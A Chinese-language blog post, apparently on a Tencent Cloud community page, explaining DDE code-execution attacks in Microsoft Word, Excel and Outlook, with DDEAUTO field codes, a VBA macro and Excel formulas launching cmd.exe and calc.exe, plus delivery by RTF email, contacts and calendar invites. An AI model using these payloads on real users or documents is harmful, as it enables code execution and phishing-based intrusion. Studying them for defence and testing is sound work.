前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >FEERBUF--Microsoft Office之DDE攻击

FEERBUF--Microsoft Office之DDE攻击

作者头像
奶糖味的代言
发布2018-04-16 15:35:06
2.1K0
发布2018-04-16 15:35:06
举报
文章被收录于专栏:小白安全小白安全

Microsoft Office可以说是使用最广泛的办公软件。然而就是因为这样,也使它成为了黑客的主要攻击目标之一,例如在网络安全对抗赛中红队会用它来窃取域哈希,甚至执行任意代码。

从以往的攻击手法上看,在Microsoft Office中执行任意代码往往是通过宏来实现的。那么,有没有其它方法可以实现任意代码执行呢?答案是肯定的。SensePost就发现了一种利用DDE(动态数据交换)协议,来执行任意代码的方法。办公产品内有许多可通过DDE接收代码并执行的地方,本文我将为大家演示一些这类攻击的常用手法。此外,关于本文的payload可以结合DDE Payloads作为参考。

Word

在Microsoft Word中,最简单的方法是插入一个字段代码,如SensePost中所述,并在formula中嵌入payload。

代码语言:javascript
复制
Insert-> Quick Parts-> Field
1word-dde-via-field-code.png
1word-dde-via-field-code.png

在括号内添加以下payload内容,将会在下次打开文件时弹出一个对话框。如果用户选择“Yes”选项,则payload将被执行。

代码语言:javascript
复制
{DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe"}
2word-dde-payload.png
2word-dde-payload.png

或者,我们也可以像Paul Ritchie在其博客中描述的那样,使用宏将payload插入字段代码。

代码语言:javascript
复制
''' Programmatically inserts a new field code into a word document at the current selection index.
''' This is of type "wdFieldDDEAuto" which is a field code which executes Dynamic Data Exchange (DDE) ''' When the document is opened. This includes an example PoC which launches calc.exe
Public Sub FieldCodeFun()
' Payload String
Dim payload As String
payload = """c:\\windows\\system32\\calc.exe"" ""/c calc.exe""" ' Insert our payload as a field code
Selection.Collapse Direction:=wdCollapseEnd
ActiveDocument.Fields.Add Range:=Selection.Range, _
Type:=wdFieldDDEAuto, Text:=payload
End Sub
3word-dde-via-macro.png
3word-dde-via-macro.png

以上示例中的payload只是打开了计算器,但我们也可以将其修改为其它任意代码(甚至恶意的)。

Mike Czumaky在他的博客中也为我们提供了一种很好的思路,从外部托管的另一个Word文档加载恶意的DDE。 INCLUDE字段代码可被用来与该攻击向量结合外部URL使用。

4word-load-dde-payload-from-another-document.png
4word-load-dde-payload-from-another-document.png

Excel

在Microsoft Excel DDE有效载荷可以通过formula的使用来利用。以下两个formula将执行代码(本例中为计算器),第二个formula将使警告消息框看上去更合理,以更好的欺骗用户。

代码语言:javascript
复制
=cmd|'/c calc.exe'!A1
=MSEXCEL|'\..\..\..\Windows\System32\cmd.exe /c calc.exe'!''
5excel-dde-command.png
5excel-dde-command.png

当用户打开恶意Excel电子表格时,将出现以下对话框。

6excel-dde-dialog-box.png
6excel-dde-dialog-box.png

第二个formula仍将执行代码,但对话框中的消息内容将被修改,此时我们可以看到不再是要求用户启动CMD.EXE,而是要求启动MSEXCEL.exe。

7excel-dde-2nd-command.png
7excel-dde-2nd-command.png

Outlook

在Outlook中也有许多可执行DDE payload的地方。例如,你已经获取到了域凭据,则可以更好的伪装电子邮件发送给其他用户,以获取更多内部的shell。

Message

发送包含DDE的Outlook消息也可以自动执行代码。这同样适用于以附件形式发送的电子邮件。

8outlook-message-dde-payload.png
8outlook-message-dde-payload.png

但需要注意的是,因为某些电子邮件服务器会将所有电子邮件转换为HTML,为了避免我们的DDE payload失效,我们需要将电子邮件以RTF格式发送。

9outlook-message-dde-in-rich-text.png
9outlook-message-dde-in-rich-text.png

当用户打开我们发送的邮件后,DDE payload将会被执行。

10outlook-message-rtf-email-message.png
10outlook-message-rtf-email-message.png

Contact

创建新的联系人或修改现有的联系人,并将DDE payload放入Notes区域可导致执行代码。

11outlook-dde-payload-in-contact-notes.png
11outlook-dde-payload-in-contact-notes.png

联系人需要发送给目标用户。

12outlook-foward-contact-with-dde.png
12outlook-foward-contact-with-dde.png

当用户打开联系人时,将执行嵌入的DDE payload。

13outlook-dde-execution.png
13outlook-dde-execution.png

Calendar Invite

同样,该方法也适用与calendar invitation功能。例如,发送一个添加了DDE paylaod的会议邀请,一旦目标用户与其进行了交互(打开或取消),则DDE paylaod就将被执行。

14outlook-dde-via-calendar-invitations.png
14outlook-dde-via-calendar-invitations.png

参考

https://medium.com/red-team/dde-payloads-16629f4a2fcd

http://staaldraad.github.io/2017/10/23/msword-field-codes/

http://willgenovese.com/office-ddeauto-attacks/

https://www.secarma.co.uk/labs/is-dynamic-data-exchange-dde-injection-a-thing/

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Word
  • Excel
  • Outlook
    • Message
      • Contact
        • Calendar Invite
          • 参考
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档